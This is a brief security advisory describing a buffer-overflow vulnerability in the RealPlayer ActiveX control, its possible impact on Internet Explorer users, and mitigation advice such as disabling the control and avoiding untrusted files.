RealPlayer ActiveX Control Buffer Overflow Vulnerability

The RealPlayer ActiveX control is prone to a buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer. A remote attacker may exploit this vulnerability by presenting a malicious file to a victim and enticing them to open it with the vulnerable application. Successful exploits can allow attackers to run arbitrary code in the context of the user running an application that uses the control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

Mitigation:

Ensure that the affected ActiveX control is not used in any web pages or disable the control in Internet Explorer. Additionally, exercise caution when opening files from untrusted sources.
